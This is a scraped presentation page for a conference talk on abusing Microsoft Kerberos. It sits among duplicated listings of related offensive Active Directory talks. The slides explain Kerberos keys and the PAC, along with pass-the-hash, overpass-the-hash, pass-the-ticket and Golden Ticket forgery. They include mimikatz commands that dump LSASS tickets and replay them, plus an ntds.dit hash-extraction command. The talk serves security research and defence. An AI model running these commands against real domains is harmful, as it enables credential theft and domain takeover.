This document discusses abusing Microsoft Kerberos authentication. It provides an overview of how Kerberos authentication works, obtaining users' Kerberos keys from Active Directory or client memory, and using those keys to authenticate as the user without their password through techniques like Pass-the-Hash and Overpass-the-Hash. It also demonstrates these techniques live using mimikatz to dump keys and authenticate with captured keys.
Here Be Dragons: The Unexplored Land of Active Directory ACLsAndy Robbins
Presented by Andy Robbins, Rohan Vazarkar, and Will Schroeder at DerbyCon 7.0: Legacy, in Louisville, Kentucky, 2017.
See the video recording of the presentation here: https://www.youtube.com/watch?v=mfaFuXEiLF4
This presentation was given at BSides Austin '15, and is an expanded version of the "I hunt sys admins" Shmoocon firetalk. It covers various ways to hunt for users in Windows domains, including using PowerView.
Here Be Dragons: The Unexplored Land of Active Directory ACLsAndy Robbins
Presented by Andy Robbins, Rohan Vazarkar, and Will Schroeder at DerbyCon 7.0: Legacy, in Louisville, Kentucky, 2017.
See the video recording of the presentation here: https://www.youtube.com/watch?v=mfaFuXEiLF4
This presentation was given at BSides Austin '15, and is an expanded version of the "I hunt sys admins" Shmoocon firetalk. It covers various ways to hunt for users in Windows domains, including using PowerView.
Evading Microsoft ATA for Active Directory DominationNikhil Mittal
The talk I gave at Black Hat USA 2017 on bypassing Microsoft Advanced Threat Analytics (ATA). I demonstrate techniques to bypass, avoid and attack ATA in this talk.
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItNikhil Mittal
The talk I gave at Black Hat USA 2016 on Anti Malware Scan Interface. The talk looks at what good AMSI brings to Windows 10 and various methods of avoiding/bypassing it.
Protecting browsers’ secrets in a domain environmentItai Grady
All popular browsers allow users to store sensitive data such as credentials for online and cloud services (such as social networks, email providers, and banking) and forms data (e.g. Credit card number, address, phone number) In Windows environment, most browsers (and many other applications) choose to protect these secrets by using Window Data Protection API (DPAPI), which provides an easy method to encrypt and decrypt secret data. Lately, Mimikatz, a popular pentest/hacking tool, was updated to include a functionality that allows highly-privileged attackers to decrypt all of DPAPI secrets. In this talk, I will analyze the Mimikatz Anti-DPAPI attack targeting the Domain Controller (DC) which puts all DPAPI secrets in peril and show how it can be defeated with network monitoring.
FreeIPA is the open source answer to Active Directory, bringing the functionality of Kerberos and centralized management to the unix world. This talk will dive into the background of FreeIPA, how to attack it, and its parallels to traditional Active Directory. We will cover the FreeIPA equivalents of credential abuse, discovery, and lateral movement, highlighting the similarities and differences from traditional Active Directory tradecraft. This will culminate in multiple real-world demos showing how chains of abuse, previously accessible only in Windows environments, are now possible in the unix realm, providing a new medium for offensive research into Kerberos and LDAP environments.
PSConfEU - Offensive Active Directory (With PowerShell!)Will Schroeder
This talk covers PowerShell for offensive Active Directory operations with PowerView. It was given on April 21, 2016 at the PowerShell Conference EU 2016.
A follow on to the Encyclopedia Of Windows Privilege Escalation published by InsomniaSec at Ruxcon 2011, this talk is aimed at detailing not just escalation from user to admin and admin to system, but persistence and forced authentication as well as a few other treats.
The Unintended Risks of Trusting Active DirectoryWill Schroeder
This presentation was given at Sp4rkCon 2018. It covers the combination of Active Directory and host-based security descriptor backdooring and the associated security implications.
How to Hunt for Lateral Movement on Your NetworkSqrrl
Once inside your network, most cyber-attacks go sideways. They progressively move deeper into the network, laterally compromising other systems as they search for key assets and data. Would you spot this lateral movement on your enterprise network?
In this training session, we review the various techniques attackers use to spread through a network, which data sets you can use to reliably find them, and how data science techniques can be used to help automate the detection of lateral movement.
Identifying privilege escalation paths within an Active Directory environment is crucial for a successful red team. Over the last few years, BloodHound has made it easier for red teamers to perform reconnaissance activities and identify these attacks paths. When evaluating BloodHound data, it is common to find ourselves having sufficient rights to modify a Group Policy Object (GPO). This level of access allows us to perform a number of attacks, targeting any computer or user object controlled by the vulnerable GPO.
In this talk we will present previous research related to GPO abuses and share a number of misconfigurations we have found in the wild. We will also present a tool that allows red teamers to target users and computers controlled by a vulnerable GPO in order to escalate privileges and move laterally within the environment.
My slides for PHDays 2018 Threat Hunting Hands-On Lab - https://www.phdays.com/en/program/reports/build-your-own-threat-hunting-based-on-open-source-tools/
Virtual Machines for lab are available here - https://yadi.sk/d/qB1PNBj_3ViWHe
Evading Microsoft ATA for Active Directory DominationNikhil Mittal
The talk I gave at Black Hat USA 2017 on bypassing Microsoft Advanced Threat Analytics (ATA). I demonstrate techniques to bypass, avoid and attack ATA in this talk.
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItNikhil Mittal
The talk I gave at Black Hat USA 2016 on Anti Malware Scan Interface. The talk looks at what good AMSI brings to Windows 10 and various methods of avoiding/bypassing it.
Protecting browsers’ secrets in a domain environmentItai Grady
All popular browsers allow users to store sensitive data such as credentials for online and cloud services (such as social networks, email providers, and banking) and forms data (e.g. Credit card number, address, phone number) In Windows environment, most browsers (and many other applications) choose to protect these secrets by using Window Data Protection API (DPAPI), which provides an easy method to encrypt and decrypt secret data. Lately, Mimikatz, a popular pentest/hacking tool, was updated to include a functionality that allows highly-privileged attackers to decrypt all of DPAPI secrets. In this talk, I will analyze the Mimikatz Anti-DPAPI attack targeting the Domain Controller (DC) which puts all DPAPI secrets in peril and show how it can be defeated with network monitoring.
FreeIPA is the open source answer to Active Directory, bringing the functionality of Kerberos and centralized management to the unix world. This talk will dive into the background of FreeIPA, how to attack it, and its parallels to traditional Active Directory. We will cover the FreeIPA equivalents of credential abuse, discovery, and lateral movement, highlighting the similarities and differences from traditional Active Directory tradecraft. This will culminate in multiple real-world demos showing how chains of abuse, previously accessible only in Windows environments, are now possible in the unix realm, providing a new medium for offensive research into Kerberos and LDAP environments.
PSConfEU - Offensive Active Directory (With PowerShell!)Will Schroeder
This talk covers PowerShell for offensive Active Directory operations with PowerView. It was given on April 21, 2016 at the PowerShell Conference EU 2016.
A follow on to the Encyclopedia Of Windows Privilege Escalation published by InsomniaSec at Ruxcon 2011, this talk is aimed at detailing not just escalation from user to admin and admin to system, but persistence and forced authentication as well as a few other treats.
The Unintended Risks of Trusting Active DirectoryWill Schroeder
This presentation was given at Sp4rkCon 2018. It covers the combination of Active Directory and host-based security descriptor backdooring and the associated security implications.
How to Hunt for Lateral Movement on Your NetworkSqrrl
Once inside your network, most cyber-attacks go sideways. They progressively move deeper into the network, laterally compromising other systems as they search for key assets and data. Would you spot this lateral movement on your enterprise network?
In this training session, we review the various techniques attackers use to spread through a network, which data sets you can use to reliably find them, and how data science techniques can be used to help automate the detection of lateral movement.
Identifying privilege escalation paths within an Active Directory environment is crucial for a successful red team. Over the last few years, BloodHound has made it easier for red teamers to perform reconnaissance activities and identify these attacks paths. When evaluating BloodHound data, it is common to find ourselves having sufficient rights to modify a Group Policy Object (GPO). This level of access allows us to perform a number of attacks, targeting any computer or user object controlled by the vulnerable GPO.
In this talk we will present previous research related to GPO abuses and share a number of misconfigurations we have found in the wild. We will also present a tool that allows red teamers to target users and computers controlled by a vulnerable GPO in order to escalate privileges and move laterally within the environment.
My slides for PHDays 2018 Threat Hunting Hands-On Lab - https://www.phdays.com/en/program/reports/build-your-own-threat-hunting-based-on-open-source-tools/
Virtual Machines for lab are available here - https://yadi.sk/d/qB1PNBj_3ViWHe
Redis - for duplicate detection on real time streamCodemotion
Roberto "frank" Franchini presenta a Codemotion Techmeetup Torino Redis, un data structure server che può utilizzare come chiavi stringhe, hashes, lists, sets, sorted sets, bitmaps e hyperloglogs
.
Velocity 2017 Performance analysis superpowers with Linux eBPFBrendan Gregg
Talk by for Velocity 2017 by Brendan Gregg: Performance analysis superpowers with Linux eBPF.
"Advanced performance observability and debugging have arrived built into the Linux 4.x series, thanks to enhancements to Berkeley Packet Filter (BPF, or eBPF) and the repurposing of its sandboxed virtual machine to provide programmatic capabilities to system tracing. Netflix has been investigating its use for new observability tools, monitoring, security uses, and more. This talk will investigate this new technology, which sooner or later will be available to everyone who uses Linux. The talk will dive deep on these new tracing, observability, and debugging capabilities. Whether you’re doing analysis over an ssh session, or via a monitoring GUI, BPF can be used to provide an efficient, custom, and deep level of detail into system and application performance.
This talk will also demonstrate the new open source tools that have been developed, which make use of kernel- and user-level dynamic tracing (kprobes and uprobes), and kernel- and user-level static tracing (tracepoints). These tools provide new insights for file system and storage performance, CPU scheduler performance, TCP performance, and a whole lot more. This is a major turning point for Linux systems engineering, as custom advanced performance instrumentation can be used safely in production environments, powering a new generation of tools and visualizations."
About the author: Priya Autee is software engineer at Intel working on various leading edge IA features and Intel(R) RDT expert. She is focused on prototyping and researching open source APIs like DPDK, Intel(R) RDT etc. to support NFV/compute sensitive requirements on Intel Architecture. She holds Masters in Computer Science from Arizona State University, Arizona.
Video: https://www.youtube.com/watch?v=JRFNIKUROPE . Talk for linux.conf.au 2017 (LCA2017) by Brendan Gregg, about Linux enhanced BPF (eBPF). Abstract:
A world of new capabilities is emerging for the Linux 4.x series, thanks to enhancements that have been included in Linux for to Berkeley Packet Filter (BPF): an in-kernel virtual machine that can execute user space-defined programs. It is finding uses for security auditing and enforcement, enhancing networking (including eXpress Data Path), and performance observability and troubleshooting. Many new open source tools that have been written in the past 12 months for performance analysis that use BPF. Tracing superpowers have finally arrived for Linux!
For its use with tracing, BPF provides the programmable capabilities to the existing tracing frameworks: kprobes, uprobes, and tracepoints. In particular, BPF allows timestamps to be recorded and compared from custom events, allowing latency to be studied in many new places: kernel and application internals. It also allows data to be efficiently summarized in-kernel, including as histograms. This has allowed dozens of new observability tools to be developed so far, including measuring latency distributions for file system I/O and run queue latency, printing details of storage device I/O and TCP retransmits, investigating blocked stack traces and memory leaks, and a whole lot more.
This talk will summarize BPF capabilities and use cases so far, and then focus on its use to enhance Linux tracing, especially with the open source bcc collection. bcc includes BPF versions of old classics, and many new tools, including execsnoop, opensnoop, funcccount, ext4slower, and more (many of which I developed). Perhaps you'd like to develop new tools, or use the existing tools to find performance wins large and small, especially when instrumenting areas that previously had zero visibility. I'll also summarize how we intend to use these new capabilities to enhance systems analysis at Netflix.
Adventures in Underland: Is encryption solid as a rock or a handful of dust?Paula Januszkiewicz
Encryption is based on three principals: algorithm, key length, and storage. It has also become more popular and it is more often built into databases, networks, config files, OS, and users’ secrets. Is DPAPI and DPAPI-NG enough for us? Unfortunately there are many slip-ups that can be made. Come and learn if ‘encrypted’ = or != ‘safe’ and when! Tools included.
Infrastructure review - Shining a light on the Black BoxMiklos Szel
Scenario: You work as a consultant and a new client has just signed on. Their DBA left suddenly leaving nothing but some outdated documentation in their wiki. After the kick-off meeting you realise that the operations and the development teams know little to none about the databases. They have been encountering intermittent problems with the application’s performance and suspect it’s related to the databases. You are told: "Please fix it ASAP!” So you have your public key installed on their jumphost and they manage to provide you with a 6 character long mysql root password. This is where your journey begins! During this session you will learn some of the best practices around discovering a new environment, finding possible threats and weaknesses and determining what key metrics to focus on for performance and reliability. We will cover architecture, replication, OS and MySQL level configuration, storage engines, failover strategies, backup and restores, monitoring, query tuning and possible ways to save money. The goal at the end of the presentation is to have a prioritized action plan. I will also explain the usage and the output of some tools/wrappers that help during an infrastructure review. Examples include creation of maximum integetr usage reports, table fragmentation and duplicate keys (we will be leveraging multiple Percona Toolkit scripts but also some lesser known tools as well). It is often easy to overlook underlying problems in the infrastructure during day-to-day operations, so this presentation will aim to highlight how to identify and resolve potential bottlenecks with your systems.
O'Reilly Velocity New York 2016 presentation on modern Linux tracing tools and technology. Highlights the available tracing data sources on Linux (ftrace, perf_events, BPF) and demonstrates some tools that can be used to obtain traces, including DebugFS, the perf front-end, and most importantly, the BCC/BPF tool collection.
Cryptography for Absolute Beginners (May 2019)Svetlin Nakov
Cryptography for Absolute Beginners
Svetlin Nakov @ Sofia Science Festival, May 2019
Video (Bulgarian language): https://youtu.be/-QzFcUkM7_4
Blog: https://nakov.com/blog/2019/05/13/cryptography-for-absolute-beginners-nakov-at-sofia-science-festival-may-2019/
Similar to Abusing Microsoft Kerberos - Sorry you guys don't get it (20)
Cecyf / Coriin - mimikatz et la mémoire de WindowsBenjamin Delpy
mimikatz et la mémoire de Windows, présenté à Lille pour Coriin dans le cadre du Cecyf
Les différents moyens d'utiliser la mémoire des processus sous Windows, pour :
obtenir des clés, des mots de passe, code pin, ticket kerberos
mais aussi manipuler la gestion des authentifications, des comptes utilisateurs dans l'AD, etc.
BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...Benjamin Delpy
This talk will focus on the how Windows authentication works in the real world and what are the popular attacks against it. You will learn the thought process of attackers in the real world and how it differs from a defender’s perspective. We’ll also cover post-exploitation tools and techniques such as Mimikatz. Finally, we’ll discuss next steps – How do you design services that are breach-resistant and make authentication harder to crack.
mimikatz @ sthack
http://blog.gentilkiwi.com/mimikatz
Une petite présentation pour aborder de nouvelles méthodes de récupération de credentials sous Windows, y compris les versions 8.1/2012r2.
Démonstration des modules kerberos et sekurlsa.
mimikatz @ ossir
http://blog.gentilkiwi.com/mimikatz
Un afterwork pour présenter le module sekurlsa en détail et aborder les évolutions futures de mimikatz !
Key Trends Shaping the Future of Infrastructure.pdfCheryl Hung
Keynote at DIGIT West Expo, Glasgow on 29 May 2024.
Cheryl Hung, ochery.com
Sr Director, Infrastructure Ecosystem, Arm.
The key trends across hardware, cloud and open-source; exploring how these areas are likely to mature and develop over the short and long-term, and then considering how organisations can position themselves to adapt and thrive.
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Tobias Schneck
As AI technology is pushing into IT I was wondering myself, as an “infrastructure container kubernetes guy”, how get this fancy AI technology get managed from an infrastructure operational view? Is it possible to apply our lovely cloud native principals as well? What benefit’s both technologies could bring to each other?
Let me take this questions and provide you a short journey through existing deployment models and use cases for AI software. On practical examples, we discuss what cloud/on-premise strategy we may need for applying it to our own infrastructure to get it to work from an enterprise perspective. I want to give an overview about infrastructure requirements and technologies, what could be beneficial or limiting your AI use cases in an enterprise environment. An interactive Demo will give you some insides, what approaches I got already working for real.
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualityInflectra
In this insightful webinar, Inflectra explores how artificial intelligence (AI) is transforming software development and testing. Discover how AI-powered tools are revolutionizing every stage of the software development lifecycle (SDLC), from design and prototyping to testing, deployment, and monitoring.
Learn about:
• The Future of Testing: How AI is shifting testing towards verification, analysis, and higher-level skills, while reducing repetitive tasks.
• Test Automation: How AI-powered test case generation, optimization, and self-healing tests are making testing more efficient and effective.
• Visual Testing: Explore the emerging capabilities of AI in visual testing and how it's set to revolutionize UI verification.
• Inflectra's AI Solutions: See demonstrations of Inflectra's cutting-edge AI tools like the ChatGPT plugin and Azure Open AI platform, designed to streamline your testing process.
Whether you're a developer, tester, or QA professional, this webinar will give you valuable insights into how AI is shaping the future of software delivery.
Epistemic Interaction - tuning interfaces to provide information for AI supportAlan Dix
Paper presented at SYNERGY workshop at AVI 2024, Genoa, Italy. 3rd June 2024
https://alandix.com/academic/papers/synergy2024-epistemic/
As machine learning integrates deeper into human-computer interactions, the concept of epistemic interaction emerges, aiming to refine these interactions to enhance system adaptability. This approach encourages minor, intentional adjustments in user behaviour to enrich the data available for system learning. This paper introduces epistemic interaction within the context of human-system communication, illustrating how deliberate interaction design can improve system understanding and adaptation. Through concrete examples, we demonstrate the potential of epistemic interaction to significantly advance human-computer interaction by leveraging intuitive human communication strategies to inform system design and functionality, offering a novel pathway for enriching user-system engagements.
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...James Anderson
Effective Application Security in Software Delivery lifecycle using Deployment Firewall and DBOM
The modern software delivery process (or the CI/CD process) includes many tools, distributed teams, open-source code, and cloud platforms. Constant focus on speed to release software to market, along with the traditional slow and manual security checks has caused gaps in continuous security as an important piece in the software supply chain. Today organizations feel more susceptible to external and internal cyber threats due to the vast attack surface in their applications supply chain and the lack of end-to-end governance and risk management.
The software team must secure its software delivery process to avoid vulnerability and security breaches. This needs to be achieved with existing tool chains and without extensive rework of the delivery processes. This talk will present strategies and techniques for providing visibility into the true risk of the existing vulnerabilities, preventing the introduction of security issues in the software, resolving vulnerabilities in production environments quickly, and capturing the deployment bill of materials (DBOM).
Speakers:
Bob Boule
Robert Boule is a technology enthusiast with PASSION for technology and making things work along with a knack for helping others understand how things work. He comes with around 20 years of solution engineering experience in application security, software continuous delivery, and SaaS platforms. He is known for his dynamic presentations in CI/CD and application security integrated in software delivery lifecycle.
Gopinath Rebala
Gopinath Rebala is the CTO of OpsMx, where he has overall responsibility for the machine learning and data processing architectures for Secure Software Delivery. Gopi also has a strong connection with our customers, leading design and architecture for strategic implementations. Gopi is a frequent speaker and well-known leader in continuous delivery and integrating security into software delivery.
Securing your Kubernetes cluster_ a step-by-step guide to success !KatiaHIMEUR1
Today, after several years of existence, an extremely active community and an ultra-dynamic ecosystem, Kubernetes has established itself as the de facto standard in container orchestration. Thanks to a wide range of managed services, it has never been so easy to set up a ready-to-use Kubernetes cluster.
However, this ease of use means that the subject of security in Kubernetes is often left for later, or even neglected. This exposes companies to significant risks.
In this talk, I'll show you step-by-step how to secure your Kubernetes cluster for greater peace of mind and reliability.
The Art of the Pitch: WordPress Relationships and SalesLaura Byrne
Clients don’t know what they don’t know. What web solutions are right for them? How does WordPress come into the picture? How do you make sure you understand scope and timeline? What do you do if sometime changes?
All these questions and more will be explored as we talk about matching clients’ needs with what your agency offers without pulling teeth or pulling your hair out. Practical tips, and strategies for successful relationship building that leads to closing the deal.
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Jeffrey Haguewood
Sidekick Solutions uses Bonterra Impact Management (fka Social Solutions Apricot) and automation solutions to integrate data for business workflows.
We believe integration and automation are essential to user experience and the promise of efficient work through technology. Automation is the critical ingredient to realizing that full vision. We develop integration products and services for Bonterra Case Management software to support the deployment of automations for a variety of use cases.
This video focuses on the notifications, alerts, and approval requests using Slack for Bonterra Impact Management. The solutions covered in this webinar can also be deployed for Microsoft Teams.
Interested in deploying notification automations for Bonterra Impact Management? Contact us at sales@sidekicksolutionsllc.com to discuss next steps.
GraphRAG is All You need? LLM & Knowledge GraphGuy Korland
Guy Korland, CEO and Co-founder of FalkorDB, will review two articles on the integration of language models with knowledge graphs.
1. Unifying Large Language Models and Knowledge Graphs: A Roadmap.
https://arxiv.org/abs/2306.08302
2. Microsoft Research's GraphRAG paper and a review paper on various uses of knowledge graphs:
https://www.microsoft.com/en-us/research/blog/graphrag-unlocking-llm-discovery-on-narrative-private-data/
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf91mobiles
91mobiles recently conducted a Smart TV Buyer Insights Survey in which we asked over 3,000 respondents about the TV they own, aspects they look at on a new TV, and their TV buying preferences.
Elevating Tactical DDD Patterns Through Object CalisthenicsDorra BARTAGUIZ
After immersing yourself in the blue book and its red counterpart, attending DDD-focused conferences, and applying tactical patterns, you're left with a crucial question: How do I ensure my design is effective? Tactical patterns within Domain-Driven Design (DDD) serve as guiding principles for creating clear and manageable domain models. However, achieving success with these patterns requires additional guidance. Interestingly, we've observed that a set of constraints initially designed for training purposes remarkably aligns with effective pattern implementation, offering a more ‘mechanical’ approach. Let's explore together how Object Calisthenics can elevate the design of your tactical DDD patterns, offering concrete help for those venturing into DDD for the first time!
DevOps and Testing slides at DASA ConnectKari Kakkonen
My and Rik Marselis slides at 30.5.2024 DASA Connect conference. We discuss about what is testing, then what is agile testing and finally what is Testing in DevOps. Finally we had lovely workshop with the participants trying to find out different ways to think about quality and testing in different parts of the DevOps infinity loop.
UiPath Test Automation using UiPath Test Suite series, part 3DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 3. In this session, we will cover desktop automation along with UI automation.
Topics covered:
UI automation Introduction,
UI automation Sample
Desktop automation flow
Pradeep Chinnala, Senior Consultant Automation Developer @WonderBotz and UiPath MVP
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
Neuro-symbolic is not enough, we need neuro-*semantic*Frank van Harmelen
Neuro-symbolic (NeSy) AI is on the rise. However, simply machine learning on just any symbolic structure is not sufficient to really harvest the gains of NeSy. These will only be gained when the symbolic structures have an actual semantics. I give an operational definition of semantics as “predictable inference”.
All of this illustrated with link prediction over knowledge graphs, but the argument is general.
4. • We’ll speak about:
– Windows, Active Directory
– mimikatz
– NTLM Hash
– Kerberos
– Pass-the-hash/keys/ticket
– Golden Ticket
• We’ll try: 3 live demos.
– All of that also works from a non domain-joined computer.
6. • Normal
• Pass-the-Hash
A little reminder
waza
1234/ NTLM (md4)
LM
cc36cf7a8514893e
fccd332446158b1a
d0e9aee149655a60
75e4540af1f22d3b
LSASS (msv1_0)
NTLM (md4)
LM
cc36cf7a8514893e
fccd332446158b1a
LSASS (msv1_0)
cc36cf7a8514893e
fccd332446158b1a
7. Cool isn’t it ? And it works like a charm
but with NTLM disabled or “Protected Users”?
8. *or maybe you only don’t want to leave
NTLM auth footprints in the Eventlog ;)
9. • It is all about keys and tickets
• For Example, let’s use Administrateur who wants to
access cifs on a win81 machine on chocolate.local
domain
• It needs 3 set of keys, all are in the Active Directory
– And by default, derived from password.
Kerberos
10. 1. The KDC long-term secret key (domain key)
– Under the mysterious krbtgt account (rc4, aes128, aes256, des…)
– Needed to sign Microsoft specific data in “PAC”, encrypt TGT
2. The Client long-term secret key (derived from password)
– Under the user/computer/server account
– Needed to check AS-REQ, encrypt session key
3. The Target/Service long-term secret key (derived from password)
– Under the computer/server account
– Needed to countersign data in “PAC” of TGS, encrypt TGS
Kerberos :: keys
12. • The KDC will validate the authentication if it can decrypt the timestamp with
the long-term user key (for RC4, the NTLM hash of the user password)
• It issues a TGT representing the user in the domain, for a specified period
Kerberos :: preauth
RID : 000001f4 (500)
User : Administrateur
* Primary
LM :
NTLM : cc36cf7a8514893efccd332446158b1a
* Kerberos-Newer-Keys
Default Salt : CHOCOLATE.LOCALAdministrateur
Default Iterations : 4096
Credentials
aes256_hmac (4096) : b7268361386090314acce8d9367e55f5
5865e7ef8e670fbe4262d6c94098a9e9
aes128_hmac (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
des_cbc_md5 (4096) : f8fd987fa7153185
KDC
waza
1234/
rc4_hmac_nt
(NTLM/md4)
cc36cf7a8514893e
fccd332446158b1a
20140807054500Z
timestamp ① AS-REQ
② AS-REPTGT
13. • This TGT is encrypted with a key shared between all KDC
– The RC4 key for the krbtgt account : 310b643c5316c8c3c70a10cfb17e2e31
• The KDC adds a Microsoft specific PAC to a structure with user’s information
Kerberos :: TGT
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 310b643c5316c8c3c70a10cfb17e2e31
* Kerberos-Newer-Keys
Default Salt : CHOCOLATE.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd
5c827847ade468d6f6f739eb00c68e42
aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb
des_cbc_md5 (4096) : 620eb39e450e6776
KDC
TGT
Start/End/MaxRenew: 14/07/2014 00:46:09 ; 14/07/2014
10:46:09 ; 21/07/2014 00:46:09
Service Name (02) : krbtgt ; CHOCOLATE.LOCAL ; @
CHOCOLATE.LOCAL
Target Name (02) : krbtgt ; CHOCOLATE ; @
CHOCOLATE.LOCAL
Client Name (01) : Administrateur ; @
CHOCOLATE.LOCAL ( CHOCOLATE )
Flags 40e10000 : name_canonicalize ; pre_authent ;
initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
f3bf2e0e26903703bec6259b400a586f403bbfe3771cb7972be3c
0868cb9cc69
RC4-HMAC – krbtgt
310b643c5316c8c3c70a10cfb17e2e31
Username : Administrateur
Domain SID
S-1-5-21-130452501-2365100805-3685010670
Authorization data Microsoft (PAC)
CHECKSUM_SRV – HMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e3
CHECKSUM_KDC – HMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e3
14. • The KDC will create a Microsoft specific structure (PAC) with user information
• This PAC is signed with the target key, and the KDC key
– for a TGT, the target is also the KDC, so it is the same key, 310b643c5316c8c3c70a10cfb17e2e31 for RC4
– KDC keys are in the krbtgt account
Kerberos :: TGT :: PAC
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 310b643c5316c8c3c70a10cfb17e2e31
* Kerberos-Newer-Keys
Default Salt : CHOCOLATE.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd
5c827847ade468d6f6f739eb00c68e42
aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb
des_cbc_md5 (4096) : 620eb39e450e6776
KDC
Username : Administrateur
Domain SID
S-1-5-21-130452501-2365100805-3685010670
User ID
500 Administrateur
Groups ID
512 Admins du domaine
519 Administrateurs de l’entreprise
518 Administrateurs du schéma
…
Authorization data Microsoft (PAC)
CHECKSUM_SRV – HMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e3
CHECKSUM_KDC – HMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e3
15. Kerberos :: KRBTGT
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 310b643c5316c8c3c70a10cfb17e2e31
* Kerberos-Newer-Keys
Default Salt : CHOCOLATE.LOCALkrbtgt
Default Iterations : 4096
Credenti
aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd
5c827847ade468d6f6f739eb00c68e42
aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb
des_cbc_md5 (4096) : 620eb39e450e6776
• KRBTGT account pwd / hash only changes:
– Upgrade of domain functional level (NT5->NT6)
– Bare metal recovery using restore media
– Manually changed (compromise recovery)
– In most enterprises this password hasn’t changed
in YEARS
16. • All of that is not secret !
– Tickets are ASN.1 encoded
• Use OpenSSL or your favorite tool
– Kerberos ticket (and KRB-CRED format)
• http://www.ietf.org/rfc/rfc4120.txt
– Microsoft Specific PAC
• http://msdn.microsoft.com/library/cc237917.aspx
Kerberos :: internal
21. • Keys are both in Active Directory and client LSASS memory
• We can find:
– DES key
– RC4 key…. Yep, this is the NTLM hash of the password, no domain salt!
• Sorry Microsoft, we don’t get it, but your RFC yes ;) - http://www.ietf.org/rfc/rfc4757.txt
– AES128 & AES256 keys (with NT 6)
• New “protected users” group prevents Keys in client LSASS memory
– Of course not on the DC ;)
Kerberos :: Overpass-the-hash
22. • AES Keys use PBKDF2
– These hashes are salted
– 4096 iterations of the PBKDF2 algorithm
– Difficult to crack
• Of course these hashes are cached in memory on the client side and then
used as password equivalents, just like the NT hashes
• This is how you fail with strong cryptography
Kerberos :: AES Keys
23. • From Active Directory : Offline
– “just” need : ntds.dit & SYSTEM hive
– NTDSXtract : http://www.ntdsxtract.com
• python dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 ./work --name
Administrateur --syshive SYSTEM --supplcreds --passwordhashes --lmoutfile ./lm --ntoutfile
./nt --pwdformat john
Kerberos :: Overpass-the-hash
User name: Administrateur
[...]
Password hashes:
Administrateur:$NT$cc36cf7a8514893efccd332446158b1a:::
Supplemental credentials:
Kerberos newer keys
salt: CHOCOLATE.LOCALAdministrateur
Credentials
18 b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
17 8451bb37aa6d7ce3d2a5c2d24d317af3
3 f8fd987fa7153185
28. • By the way, this is exactly how Aorato POC works
for changing password with just NTLM hash!
– They send a Kerberos request to the service :
kadmin/changepw
• http://www.aorato.com/blog/active-directory-vulnerability-
disclosure-weak-encryption-enables-attacker-change-victims-
password-without-logged/
Kerberos :: Overpass-the-hash
(more…)
33. • TGT & TGS are in client LSASS memory
– The “normal” way: by API
• User can only export their ticket(s) (without privilege)
• For TGT: AllowTgtSessionKey registry key must be set for session key export…
– (mandatory to use the TGT)
• For TGS: no restriction at all!
– To get tickets : LsaCallAuthenticationPackage/KerbRetrieveEncodedTicketMessage
• In mimikatz: kerberos::list [/export]
– To pass-the-ticket : LsaCallAuthenticationPackage/KerbSubmitTicketMessage
• In mimikatz: kerberos::ptt ticket.kirbi
Not a hack : http://msdn.microsoft.com/library/windows/desktop/aa378099.aspx
Kerberos :: TGT & TGS
34. • Ok, but I want other people’s TGT & TGS !
Why do you want that? Are you a hacker?
– Raw memory reading (yep, even with minidump!)
– This time with all session keys
Kerberos :: TGT & TGS
35. • In mimikatz :
– privilege::debug
• (if not already SYSTEM)
– sekurlsa::tickets /export
• Make your choice !
• Then use it :
– kerberos::ptt ticket.kirbi
Kerberos :: TGT & TGS
37. * No encryption check for THE domain administrator (id==500) !
No worry, this account is not sensitive ;)
** Not in memory when user in « Protected Users » group
Kerberos :: make your choice
Default
lifetime
Minimum
number of
KDC accesses
Multiple
targets
Available
with
Smartcard
Realtime check for
restrictions
(account disabled, logon
hours...)
Protected Users
Check for Encryption *
(RC4/AES)
Can be found in Is funky
Normal 42 days 2 Yes Yes Yes Yes n.a. No
Overpass-the-hash
(Pass-the-key)
42 days 2 Yes No Yes Yes
Active Directory
Client Memory **
No
(ok, a little;))
Pass-the-Ticket
(TGT)
10 hours 1 Yes Yes No (20mn after) No Client Memory Yes
Pass-the-Ticket
(TGS)
10 hours 0 No Yes No No Client Memory Yes
Golden Ticket 10 years 1 Yes Yes No (we can cheat) No n.a. Fuck, Yes!
39. • A “Golden Ticket”, is a homemade ticket
– It’s done with a lot of love
– … and a key
• It’s not made by the KDC, so :
– it’s not limited by GPO or others settings ;)
– you can push whatever you want inside!
– it’s smartcard independent (sorry CISO !)
Kerberos :: Golden Ticket
40. • …but a golden ticket is not only about lifetime modification (10 years is
hardcoded but can be modified)
• Interesting part is about to modify data into, like lifetime, but mainly the
Microsoft PAC :
– Groups (Domain/Enterprise Admins, by example ;)
– SID
– Username
Kerberos :: Golden Ticket
41. • Kerberos is STATELESS
– All account policy info is in the TGT
• Disabled / Expired / outside of logon hours
• Password expired
• Authentication silo membership
• “Protected Users” is just a group membership in the PAC
